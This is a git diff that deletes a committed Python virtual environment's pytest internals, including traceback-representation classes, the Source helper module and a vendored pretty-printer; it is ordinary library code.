finding the point in which the locals of the frame are equal to the - locals of a previous frame (see ``recursionindex()``). - - Handle the situation where the recursion process might raise an - exception (for example comparing numpy arrays using equality raises a - TypeError), in which case we do our best to warn the user of the - error and show a limited traceback. - """ - try: - recursionindex = traceback.recursionindex() - except Exception as e: - max_frames = 10 - extraline: str | None = ( - "!!! Recursion error detected, but an error occurred locating the origin of recursion.\n" - " The following exception happened when comparing locals in the stack frame:\n" - f" {type(e).__name__}: {e!s}\n" - f" Displaying first and last {max_frames} stack frames out of {len(traceback)}." - ) - # Type ignored because adding two instances of a List subtype - # currently incorrectly has type List instead of the subtype. - traceback = traceback[:max_frames] + traceback[-max_frames:] # type: ignore - else: - if recursionindex is not None: - extraline = "!!! Recursion detected (same locals & position)" - traceback = traceback[: recursionindex + 1] - else: - extraline = None - - return traceback, extraline - - def repr_excinfo(self, excinfo: ExceptionInfo[BaseException]) -> ExceptionChainRepr: - repr_chain: list[tuple[ReprTraceback, ReprFileLocation | None, str | None]] = [] - e: BaseException | None = excinfo.value - excinfo_: ExceptionInfo[BaseException] | None = excinfo - descr = None - seen: set[int] = set() - while e is not None and id(e) not in seen: - seen.add(id(e)) - - if excinfo_: - # Fall back to native traceback as a temporary workaround until - # full support for exception groups added to ExceptionInfo. - # See https://github.com/pytest-dev/pytest/issues/9159 - if isinstance(e, BaseExceptionGroup): - reprtraceback: ReprTracebackNative | ReprTraceback = ( - ReprTracebackNative( - traceback.format_exception( - type(excinfo_.value), - excinfo_.value, - excinfo_.traceback[0]._rawentry, - ) - ) - ) - else: - reprtraceback = self.repr_traceback(excinfo_) - reprcrash = excinfo_._getreprcrash() - else: - # Fallback to native repr if the exception doesn't have a traceback: - # ExceptionInfo objects require a full traceback to work. - reprtraceback = ReprTracebackNative( - traceback.format_exception(type(e), e, None) - ) - reprcrash = None - repr_chain += [(reprtraceback, reprcrash, descr)] - - if e.__cause__ is not None and self.chain: - e = e.__cause__ - excinfo_ = ExceptionInfo.from_exception(e) if e.__traceback__ else None - descr = "The above exception was the direct cause of the following exception:" - elif ( - e.__context__ is not None and not e.__suppress_context__ and self.chain - ): - e = e.__context__ - excinfo_ = ExceptionInfo.from_exception(e) if e.__traceback__ else None - descr = "During handling of the above exception, another exception occurred:" - else: - e = None - repr_chain.reverse() - return ExceptionChainRepr(repr_chain) - - -@dataclasses.dataclass(eq=False) -class TerminalRepr: - def __str__(self) -> str: - # FYI this is called from pytest-xdist's serialization of exception - # information. - io = StringIO() - tw = TerminalWriter(file=io) - self.toterminal(tw) - return io.getvalue().strip() - - def __repr__(self) -> str: - return f"<{self.__class__} instance at {id(self):0x}>" - - def toterminal(self, tw: TerminalWriter) -> None: - raise NotImplementedError() - - -# This class is abstract -- only subclasses are instantiated. -@dataclasses.dataclass(eq=False) -class ExceptionRepr(TerminalRepr): - # Provided by subclasses. - reprtraceback: ReprTraceback - reprcrash: ReprFileLocation | None - sections: list[tuple[str, str, str]] = dataclasses.field( - init=False, default_factory=list - ) - - def addsection(self, name: str, content: str, sep: str = "-") -> None: - self.sections.append((name, content, sep)) - - def toterminal(self, tw: TerminalWriter) -> None: - for name, content, sep in self.sections: - tw.sep(sep, name) - tw.line(content) - - -@dataclasses.dataclass(eq=False) -class ExceptionChainRepr(ExceptionRepr): - chain: Sequence[tuple[ReprTraceback, ReprFileLocation | None, str | None]] - - def __init__( - self, - chain: Sequence[tuple[ReprTraceback, ReprFileLocation | None, str | None]], - ) -> None: - # reprcrash and reprtraceback of the outermost (the newest) exception - # in the chain. - super().__init__( - reprtraceback=chain[-1][0], - reprcrash=chain[-1][1], - ) - self.chain = chain - - def toterminal(self, tw: TerminalWriter) -> None: - for element in self.chain: - element[0].toterminal(tw) - if element[2] is not None: - tw.line("") - tw.line(element[2], yellow=True) - super().toterminal(tw) - - -@dataclasses.dataclass(eq=False) -class ReprExceptionInfo(ExceptionRepr): - reprtraceback: ReprTraceback - reprcrash: ReprFileLocation | None - - def toterminal(self, tw: TerminalWriter) -> None: - self.reprtraceback.toterminal(tw) - super().toterminal(tw) - - -@dataclasses.dataclass(eq=False) -class ReprTraceback(TerminalRepr): - reprentries: Sequence[ReprEntry | ReprEntryNative] - extraline: str | None - style: TracebackStyle - - entrysep: ClassVar = "_ " - - def toterminal(self, tw: TerminalWriter) -> None: - # The entries might have different styles. - for i, entry in enumerate(self.reprentries): - if entry.style == "long": - tw.line("") - entry.toterminal(tw) - if i < len(self.reprentries) - 1: - next_entry = self.reprentries[i + 1] - if ( - entry.style == "long" - or entry.style == "short" - and next_entry.style == "long" - ): - tw.sep(self.entrysep) - - if self.extraline: - tw.line(self.extraline) - - -class ReprTracebackNative(ReprTraceback): - def __init__(self, tblines: Sequence[str]) -> None: - self.reprentries = [ReprEntryNative(tblines)] - self.extraline = None - self.style = "native" - - -@dataclasses.dataclass(eq=False) -class ReprEntryNative(TerminalRepr): - lines: Sequence[str] - - style: ClassVar[TracebackStyle] = "native" - - def toterminal(self, tw: TerminalWriter) -> None: - tw.write("".join(self.lines)) - - -@dataclasses.dataclass(eq=False) -class ReprEntry(TerminalRepr): - lines: Sequence[str] - reprfuncargs: ReprFuncArgs | None - reprlocals: ReprLocals | None - reprfileloc: ReprFileLocation | None - style: TracebackStyle - - def _write_entry_lines(self, tw: TerminalWriter) -> None: - """Write the source code portions of a list of traceback entries with syntax highlighting. - - Usually entries are lines like these: - - " x = 1" - "> assert x == 2" - "E assert 1 == 2" - - This function takes care of rendering the "source" portions of it (the lines without - the "E" prefix) using syntax highlighting, taking care to not highlighting the ">" - character, as doing so might break line continuations. - """ - if not self.lines: - return - - # separate indents and source lines that are not failures: we want to - # highlight the code but not the indentation, which may contain markers - # such as "> assert 0" - fail_marker = f"{FormattedExcinfo.fail_marker} " - indent_size = len(fail_marker) - indents: list[str] = [] - source_lines: list[str] = [] - failure_lines: list[str] = [] - for index, line in enumerate(self.lines): - is_failure_line = line.startswith(fail_marker) - if is_failure_line: - # from this point on all lines are considered part of the failure - failure_lines.extend(self.lines[index:]) - break - else: - if self.style == "value": - source_lines.append(line) - else: - indents.append(line[:indent_size]) - source_lines.append(line[indent_size:]) - - tw._write_source(source_lines, indents) - - # failure lines are always completely red and bold - for line in failure_lines: - tw.line(line, bold=True, red=True) - - def toterminal(self, tw: TerminalWriter) -> None: - if self.style == "short": - if self.reprfileloc: - self.reprfileloc.toterminal(tw) - self._write_entry_lines(tw) - if self.reprlocals: - self.reprlocals.toterminal(tw, indent=" " * 8) - return - - if self.reprfuncargs: - self.reprfuncargs.toterminal(tw) - - self._write_entry_lines(tw) - - if self.reprlocals: - tw.line("") - self.reprlocals.toterminal(tw) - if self.reprfileloc: - if self.lines: - tw.line("") - self.reprfileloc.toterminal(tw) - - def __str__(self) -> str: - return "{}\n{}\n{}".format( - "\n".join(self.lines), self.reprlocals, self.reprfileloc - ) - - -@dataclasses.dataclass(eq=False) -class ReprFileLocation(TerminalRepr): - path: str - lineno: int - message: str - - def __post_init__(self) -> None: - self.path = str(self.path) - - def toterminal(self, tw: TerminalWriter) -> None: - # Filename and lineno output for each entry, using an output format - # that most editors understand. - msg = self.message - i = msg.find("\n") - if i != -1: - msg = msg[:i] - tw.write(self.path, bold=True, red=True) - tw.line(f":{self.lineno}: {msg}") - - -@dataclasses.dataclass(eq=False) -class ReprLocals(TerminalRepr): - lines: Sequence[str] - - def toterminal(self, tw: TerminalWriter, indent="") -> None: - for line in self.lines: - tw.line(indent + line) - - -@dataclasses.dataclass(eq=False) -class ReprFuncArgs(TerminalRepr): - args: Sequence[tuple[str, object]] - - def toterminal(self, tw: TerminalWriter) -> None: - if self.args: - linesofar = "" - for name, value in self.args: - ns = f"{name} = {value}" - if len(ns) + len(linesofar) + 2 > tw.fullwidth: - if linesofar: - tw.line(linesofar) - linesofar = ns - else: - if linesofar: - linesofar += ", " + ns - else: - linesofar = ns - if linesofar: - tw.line(linesofar) - tw.line("") - - -def getfslineno(obj: object) -> tuple[str | Path, int]: - """Return source location (path, lineno) for the given object. - - If the source cannot be determined return ("", -1). - - The line number is 0-based. - """ - # xxx let decorators etc specify a sane ordering - # NOTE: this used to be done in _pytest.compat.getfslineno, initially added - # in 6ec13a2b9. It ("place_as") appears to be something very custom. - obj = get_real_func(obj) - if hasattr(obj, "place_as"): - obj = obj.place_as - - try: - code = Code.from_function(obj) - except TypeError: - try: - fn = inspect.getsourcefile(obj) or inspect.getfile(obj) # type: ignore[arg-type] - except TypeError: - return "", -1 - - fspath = fn and absolutepath(fn) or "" - lineno = -1 - if fspath: - try: - _, lineno = findsource(obj) - except OSError: - pass - return fspath, lineno - - return code.path, code.firstlineno - - -# Relative paths that we use to filter traceback entries from appearing to the user; -# see filter_traceback. -# note: if we need to add more paths than what we have now we should probably use a list -# for better maintenance. - -_PLUGGY_DIR = Path(pluggy.__file__.rstrip("oc")) -# pluggy is either a package or a single module depending on the version -if _PLUGGY_DIR.name == "__init__.py": - _PLUGGY_DIR = _PLUGGY_DIR.parent -_PYTEST_DIR = Path(_pytest.__file__).parent - - -def filter_traceback(entry: TracebackEntry) -> bool: - """Return True if a TracebackEntry instance should be included in tracebacks. - - We hide traceback entries of: - - * dynamically generated code (no code to show up for it); - * internal traceback from pytest or its internal libraries, py and pluggy. - """ - # entry.path might sometimes return a str object when the entry - # points to dynamically generated code. - # See https://bitbucket.org/pytest-dev/py/issues/71. - raw_filename = entry.frame.code.raw.co_filename - is_generated = "<" in raw_filename and ">" in raw_filename - if is_generated: - return False - - # entry.path might point to a non-existing file, in which case it will - # also return a str object. See #1133. - p = Path(entry.path) - - parents = p.parents - if _PLUGGY_DIR in parents: - return False - if _PYTEST_DIR in parents: - return False - - return True diff --git a/backend/venv/Lib/site-packages/_pytest/_code/source.py b/backend/venv/Lib/site-packages/_pytest/_code/source.py deleted file mode 100644 index 604aff8b..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_code/source.py +++ /dev/null @@ -1,215 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import ast -from bisect import bisect_right -import inspect -import textwrap -import tokenize -import types -from typing import Iterable -from typing import Iterator -from typing import overload -import warnings - - -class Source: - """An immutable object holding a source code fragment. - - When using Source(...), the source lines are deindented. - """ - - def __init__(self, obj: object = None) -> None: - if not obj: - self.lines: list[str] = [] - elif isinstance(obj, Source): - self.lines = obj.lines - elif isinstance(obj, (tuple, list)): - self.lines = deindent(x.rstrip("\n") for x in obj) - elif isinstance(obj, str): - self.lines = deindent(obj.split("\n")) - else: - try: - rawcode = getrawcode(obj) - src = inspect.getsource(rawcode) - except TypeError: - src = inspect.getsource(obj) # type: ignore[arg-type] - self.lines = deindent(src.split("\n")) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Source): - return NotImplemented - return self.lines == other.lines - - # Ignore type because of https://github.com/python/mypy/issues/4266. - __hash__ = None # type: ignore - - @overload - def __getitem__(self, key: int) -> str: ... - - @overload - def __getitem__(self, key: slice) -> Source: ... - - def __getitem__(self, key: int | slice) -> str | Source: - if isinstance(key, int): - return self.lines[key] - else: - if key.step not in (None, 1): - raise IndexError("cannot slice a Source with a step") - newsource = Source() - newsource.lines = self.lines[key.start : key.stop] - return newsource - - def __iter__(self) -> Iterator[str]: - return iter(self.lines) - - def __len__(self) -> int: - return len(self.lines) - - def strip(self) -> Source: - """Return new Source object with trailing and leading blank lines removed.""" - start, end = 0, len(self) - while start < end and not self.lines[start].strip(): - start += 1 - while end > start and not self.lines[end - 1].strip(): - end -= 1 - source = Source() - source.lines[:] = self.lines[start:end] - return source - - def indent(self, indent: str = " " * 4) -> Source: - """Return a copy of the source object with all lines indented by the - given indent-string.""" - newsource = Source() - newsource.lines = [(indent + line) for line in self.lines] - return newsource - - def getstatement(self, lineno: int) -> Source: - """Return Source statement which contains the given linenumber - (counted from 0).""" - start, end = self.getstatementrange(lineno) - return self[start:end] - - def getstatementrange(self, lineno: int) -> tuple[int, int]: - """Return (start, end) tuple which spans the minimal statement region - which containing the given lineno.""" - if not (0 <= lineno < len(self)): - raise IndexError("lineno out of range") - ast, start, end = getstatementrange_ast(lineno, self) - return start, end - - def deindent(self) -> Source: - """Return a new Source object deindented.""" - newsource = Source() - newsource.lines[:] = deindent(self.lines) - return newsource - - def __str__(self) -> str: - return "\n".join(self.lines) - - -# -# helper functions -# - - -def findsource(obj) -> tuple[Source | None, int]: - try: - sourcelines, lineno = inspect.findsource(obj) - except Exception: - return None, -1 - source = Source() - source.lines = [line.rstrip() for line in sourcelines] - return source, lineno - - -def getrawcode(obj: object, trycall: bool = True) -> types.CodeType: - """Return code object for given function.""" - try: - return obj.__code__ # type: ignore[attr-defined,no-any-return] - except AttributeError: - pass - if trycall: - call = getattr(obj, "__call__", None) - if call and not isinstance(obj, type): - return getrawcode(call, trycall=False) - raise TypeError(f"could not get code object for {obj!r}") - - -def deindent(lines: Iterable[str]) -> list[str]: - return textwrap.dedent("\n".join(lines)).splitlines() - - -def get_statement_startend2(lineno: int, node: ast.AST) -> tuple[int, int | None]: - # Flatten all statements and except handlers into one lineno-list. - # AST's line numbers start indexing at 1. - values: list[int] = [] - for x in ast.walk(node): - if isinstance(x, (ast.stmt, ast.ExceptHandler)): - # The lineno points to the class/def, so need to include the decorators. - if isinstance(x, (ast.ClassDef, ast.FunctionDef, ast.AsyncFunctionDef)): - for d in x.decorator_list: - values.append(d.lineno - 1) - values.append(x.lineno - 1) - for name in ("finalbody", "orelse"): - val: list[ast.stmt] | None = getattr(x, name, None) - if val: - # Treat the finally/orelse part as its own statement. - values.append(val[0].lineno - 1 - 1) - values.sort() - insert_index = bisect_right(values, lineno) - start = values[insert_index - 1] - if insert_index >= len(values): - end = None - else: - end = values[insert_index] - return start, end - - -def getstatementrange_ast( - lineno: int, - source: Source, - assertion: bool = False, - astnode: ast.AST | None = None, -) -> tuple[ast.AST, int, int]: - if astnode is None: - content = str(source) - # See #4260: - # Don't produce duplicate warnings when compiling source to find AST. - with warnings.catch_warnings(): - warnings.simplefilter("ignore") - astnode = ast.parse(content, "source", "exec") - - start, end = get_statement_startend2(lineno, astnode) - # We need to correct the end: - # - ast-parsing strips comments - # - there might be empty lines - # - we might have lesser indented code blocks at the end - if end is None: - end = len(source.lines) - - if end > start + 1: - # Make sure we don't span differently indented code blocks - # by using the BlockFinder helper used which inspect.getsource() uses itself. - block_finder = inspect.BlockFinder() - # If we start with an indented line, put blockfinder to "started" mode. - block_finder.started = ( - bool(source.lines[start]) and source.lines[start][0].isspace() - ) - it = ((x + "\n") for x in source.lines[start:end]) - try: - for tok in tokenize.generate_tokens(lambda: next(it)): - block_finder.tokeneater(*tok) - except (inspect.EndOfBlock, IndentationError): - end = block_finder.last + start - except Exception: - pass - - # The end might still point to a comment or empty line, correct it. - while end: - line = source.lines[end - 1].lstrip() - if line.startswith("#") or not line: - end -= 1 - else: - break - return astnode, start, end diff --git a/backend/venv/Lib/site-packages/_pytest/_io/__init__.py b/backend/venv/Lib/site-packages/_pytest/_io/__init__.py deleted file mode 100644 index b0155b18..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_io/__init__.py +++ /dev/null @@ -1,10 +0,0 @@ -from __future__ import annotations - -from .terminalwriter import get_terminal_width -from .terminalwriter import TerminalWriter - - -__all__ = [ - "TerminalWriter", - "get_terminal_width", -] diff --git a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index bb74c0c7..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/pprint.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/pprint.cpython-311.pyc deleted file mode 100644 index f2ce4639..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/pprint.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/saferepr.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/saferepr.cpython-311.pyc deleted file mode 100644 index 40c7f9d6..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/saferepr.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/terminalwriter.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/terminalwriter.cpython-311.pyc deleted file mode 100644 index 626b5e5e..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/terminalwriter.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/wcwidth.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/wcwidth.cpython-311.pyc deleted file mode 100644 index add87331..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_io/__pycache__/wcwidth.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_io/pprint.py b/backend/venv/Lib/site-packages/_pytest/_io/pprint.py deleted file mode 100644 index 7213be7b..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_io/pprint.py +++ /dev/null @@ -1,673 +0,0 @@ -# mypy: allow-untyped-defs -# This module was imported from the cpython standard library -# (https://github.com/python/cpython/) at commit -# c5140945c723ae6c4b7ee81ff720ac8ea4b52cfd (python3.12). -# -# -# Original Author: Fred L. Drake, Jr. -# fdrake@acm.org -# -# This is a simple little module I wrote to make life easier. I didn't -# see anything quite like it in the library, though I may have overlooked -# something. I wrote this when I was trying to read some heavily nested -# tuples with fairly non-descriptive content. This is modeled very much -# after Lisp/Scheme - style pretty-printing of lists. If you find it -# useful, thank small children who sleep at night. -from __future__ import annotations - -import collections as _collections -import dataclasses as _dataclasses -from io import StringIO as _StringIO -import re -import types as _types -from typing import Any -from typing import Callable -from typing import IO -from typing import Iterator - - -class _safe_key: - """Helper function for key functions when sorting unorderable objects. - - The wrapped-object will fallback to a Py2.x style comparison for - unorderable types (sorting first comparing the type name and then by - the obj ids). Does not work recursively, so dict.items() must have - _safe_key applied to both the key and the value. - - """ - - __slots__ = ["obj"] - - def __init__(self, obj): - self.obj = obj - - def __lt__(self, other): - try: - return self.obj < other.obj - except TypeError: - return (str(type(self.obj)), id(self.obj)) < ( - str(type(other.obj)), - id(other.obj), - ) - - -def _safe_tuple(t): - """Helper function for comparing 2-tuples""" - return _safe_key(t[0]), _safe_key(t[1]) - - -class PrettyPrinter: - def __init__( - self, - indent: int = 4, - width: int = 80, - depth: int | None = None, - ) -> None: - """Handle pretty printing operations onto a stream using a set of - configured parameters. - - indent - Number of spaces to indent for each level of nesting. - - width - Attempted maximum number of columns in the output. - - depth - The maximum depth to print out nested structures. - - """ - if indent < 0: - raise ValueError("indent must be >= 0") - if depth is not None and depth <= 0: - raise ValueError("depth must be > 0") - if not width: - raise ValueError("width must be != 0") - self._depth = depth - self._indent_per_level = indent - self._width = width - - def pformat(self, object: Any) -> str: - sio = _StringIO() - self._format(object, sio, 0, 0, set(), 0) - return sio.getvalue() - - def _format( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - objid = id(object) - if objid in context: - stream.write(_recursion(object)) - return - - p = self._dispatch.get(type(object).__repr__, None) - if p is not None: - context.add(objid) - p(self, object, stream, indent, allowance, context, level + 1) - context.remove(objid) - elif ( - _dataclasses.is_dataclass(object) - and not isinstance(object, type) - and object.__dataclass_params__.repr - and - # Check dataclass has generated repr method. - hasattr(object.__repr__, "__wrapped__") - and "__create_fn__" in object.__repr__.__wrapped__.__qualname__ - ): - context.add(objid) - self._pprint_dataclass( - object, stream, indent, allowance, context, level + 1 - ) - context.remove(objid) - else: - stream.write(self._repr(object, context, level)) - - def _pprint_dataclass( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - cls_name = object.__class__.__name__ - items = [ - (f.name, getattr(object, f.name)) - for f in _dataclasses.fields(object) - if f.repr - ] - stream.write(cls_name + "(") - self._format_namespace_items(items, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch: dict[ - Callable[..., str], - Callable[[PrettyPrinter, Any, IO[str], int, int, set[int], int], None], - ] = {} - - def _pprint_dict( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - write = stream.write - write("{") - items = sorted(object.items(), key=_safe_tuple) - self._format_dict_items(items, stream, indent, allowance, context, level) - write("}") - - _dispatch[dict.__repr__] = _pprint_dict - - def _pprint_ordered_dict( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not len(object): - stream.write(repr(object)) - return - cls = object.__class__ - stream.write(cls.__name__ + "(") - self._pprint_dict(object, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_collections.OrderedDict.__repr__] = _pprint_ordered_dict - - def _pprint_list( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write("[") - self._format_items(object, stream, indent, allowance, context, level) - stream.write("]") - - _dispatch[list.__repr__] = _pprint_list - - def _pprint_tuple( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write("(") - self._format_items(object, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[tuple.__repr__] = _pprint_tuple - - def _pprint_set( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not len(object): - stream.write(repr(object)) - return - typ = object.__class__ - if typ is set: - stream.write("{") - endchar = "}" - else: - stream.write(typ.__name__ + "({") - endchar = "})" - object = sorted(object, key=_safe_key) - self._format_items(object, stream, indent, allowance, context, level) - stream.write(endchar) - - _dispatch[set.__repr__] = _pprint_set - _dispatch[frozenset.__repr__] = _pprint_set - - def _pprint_str( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - write = stream.write - if not len(object): - write(repr(object)) - return - chunks = [] - lines = object.splitlines(True) - if level == 1: - indent += 1 - allowance += 1 - max_width1 = max_width = self._width - indent - for i, line in enumerate(lines): - rep = repr(line) - if i == len(lines) - 1: - max_width1 -= allowance - if len(rep) <= max_width1: - chunks.append(rep) - else: - # A list of alternating (non-space, space) strings - parts = re.findall(r"\S*\s*", line) - assert parts - assert not parts[-1] - parts.pop() # drop empty last part - max_width2 = max_width - current = "" - for j, part in enumerate(parts): - candidate = current + part - if j == len(parts) - 1 and i == len(lines) - 1: - max_width2 -= allowance - if len(repr(candidate)) > max_width2: - if current: - chunks.append(repr(current)) - current = part - else: - current = candidate - if current: - chunks.append(repr(current)) - if len(chunks) == 1: - write(rep) - return - if level == 1: - write("(") - for i, rep in enumerate(chunks): - if i > 0: - write("\n" + " " * indent) - write(rep) - if level == 1: - write(")") - - _dispatch[str.__repr__] = _pprint_str - - def _pprint_bytes( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - write = stream.write - if len(object) <= 4: - write(repr(object)) - return - parens = level == 1 - if parens: - indent += 1 - allowance += 1 - write("(") - delim = "" - for rep in _wrap_bytes_repr(object, self._width - indent, allowance): - write(delim) - write(rep) - if not delim: - delim = "\n" + " " * indent - if parens: - write(")") - - _dispatch[bytes.__repr__] = _pprint_bytes - - def _pprint_bytearray( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - write = stream.write - write("bytearray(") - self._pprint_bytes( - bytes(object), stream, indent + 10, allowance + 1, context, level + 1 - ) - write(")") - - _dispatch[bytearray.__repr__] = _pprint_bytearray - - def _pprint_mappingproxy( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write("mappingproxy(") - self._format(object.copy(), stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_types.MappingProxyType.__repr__] = _pprint_mappingproxy - - def _pprint_simplenamespace( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if type(object) is _types.SimpleNamespace: - # The SimpleNamespace repr is "namespace" instead of the class - # name, so we do the same here. For subclasses; use the class name. - cls_name = "namespace" - else: - cls_name = object.__class__.__name__ - items = object.__dict__.items() - stream.write(cls_name + "(") - self._format_namespace_items(items, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_types.SimpleNamespace.__repr__] = _pprint_simplenamespace - - def _format_dict_items( - self, - items: list[tuple[Any, Any]], - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not items: - return - - write = stream.write - item_indent = indent + self._indent_per_level - delimnl = "\n" + " " * item_indent - for key, ent in items: - write(delimnl) - write(self._repr(key, context, level)) - write(": ") - self._format(ent, stream, item_indent, 1, context, level) - write(",") - - write("\n" + " " * indent) - - def _format_namespace_items( - self, - items: list[tuple[Any, Any]], - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not items: - return - - write = stream.write - item_indent = indent + self._indent_per_level - delimnl = "\n" + " " * item_indent - for key, ent in items: - write(delimnl) - write(key) - write("=") - if id(ent) in context: - # Special-case representation of recursion to match standard - # recursive dataclass repr. - write("...") - else: - self._format( - ent, - stream, - item_indent + len(key) + 1, - 1, - context, - level, - ) - - write(",") - - write("\n" + " " * indent) - - def _format_items( - self, - items: list[Any], - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not items: - return - - write = stream.write - item_indent = indent + self._indent_per_level - delimnl = "\n" + " " * item_indent - - for item in items: - write(delimnl) - self._format(item, stream, item_indent, 1, context, level) - write(",") - - write("\n" + " " * indent) - - def _repr(self, object: Any, context: set[int], level: int) -> str: - return self._safe_repr(object, context.copy(), self._depth, level) - - def _pprint_default_dict( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - rdf = self._repr(object.default_factory, context, level) - stream.write(f"{object.__class__.__name__}({rdf}, ") - self._pprint_dict(object, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_collections.defaultdict.__repr__] = _pprint_default_dict - - def _pprint_counter( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write(object.__class__.__name__ + "(") - - if object: - stream.write("{") - items = object.most_common() - self._format_dict_items(items, stream, indent, allowance, context, level) - stream.write("}") - - stream.write(")") - - _dispatch[_collections.Counter.__repr__] = _pprint_counter - - def _pprint_chain_map( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not len(object.maps) or (len(object.maps) == 1 and not len(object.maps[0])): - stream.write(repr(object)) - return - - stream.write(object.__class__.__name__ + "(") - self._format_items(object.maps, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_collections.ChainMap.__repr__] = _pprint_chain_map - - def _pprint_deque( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write(object.__class__.__name__ + "(") - if object.maxlen is not None: - stream.write("maxlen=%d, " % object.maxlen) - stream.write("[") - - self._format_items(object, stream, indent, allowance + 1, context, level) - stream.write("])") - - _dispatch[_collections.deque.__repr__] = _pprint_deque - - def _pprint_user_dict( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - self._format(object.data, stream, indent, allowance, context, level - 1) - - _dispatch[_collections.UserDict.__repr__] = _pprint_user_dict - - def _pprint_user_list( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - self._format(object.data, stream, indent, allowance, context, level - 1) - - _dispatch[_collections.UserList.__repr__] = _pprint_user_list - - def _pprint_user_string( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - self._format(object.data, stream, indent, allowance, context, level - 1) - - _dispatch[_collections.UserString.__repr__] = _pprint_user_string - - def _safe_repr( - self, object: Any, context: set[int], maxlevels: int | None, level: int - ) -> str: - typ = type(object) - if typ in _builtin_scalars: - return repr(object) - - r = getattr(typ, "__repr__", None) - - if issubclass(typ, dict) and r is dict.__repr__: - if not object: - return "{}" - objid = id(object) - if maxlevels and level >= maxlevels: - return "{...}" - if objid in context: - return _recursion(object) - context.add(objid) - components: list[str] = [] - append = components.append - level += 1 - for k, v in sorted(object.items(), key=_safe_tuple): - krepr = self._safe_repr(k, context, maxlevels, level) - vrepr = self._safe_repr(v, context, maxlevels, level) - append(f"{krepr}: {vrepr}") - context.remove(objid) - return "{{{}}}".format(", ".join(components)) - - if (issubclass(typ, list) and r is list.__repr__) or ( - issubclass(typ, tuple) and r is tuple.__repr__ - ): - if issubclass(typ, list): - if not object: - return "[]" - format = "[%s]" - elif len(object) == 1: - format = "(%s,)" - else: - if not object: - return "()" - format = "(%s)" - objid = id(object) - if maxlevels and level >= maxlevels: - return format % "..." - if objid in context: - return _recursion(object) - context.add(objid) - components = [] - append = components.append - level += 1 - for o in object: - orepr = self._safe_repr(o, context, maxlevels, level) - append(orepr) - context.remove(objid) - return format % ", ".join(components) - - return repr(object) - - -_builtin_scalars = frozenset( - {str, bytes, bytearray, float, complex, bool, type(None), int} -) - - -def _recursion(object: Any) -> str: - return f"" - - -def _wrap_bytes_repr(object: Any, width: int, allowance: int) -> Iterator[str]: - current = b"" - last = len(object) // 4 * 4 - for i in range(0, len(object), 4): - part = object[i : i + 4] - candidate = current + part - if i == last: - width -= allowance - if len(repr(candidate)) > width: - if current: - yield repr(current) - current = part - else: - current = candidate - if current: - yield 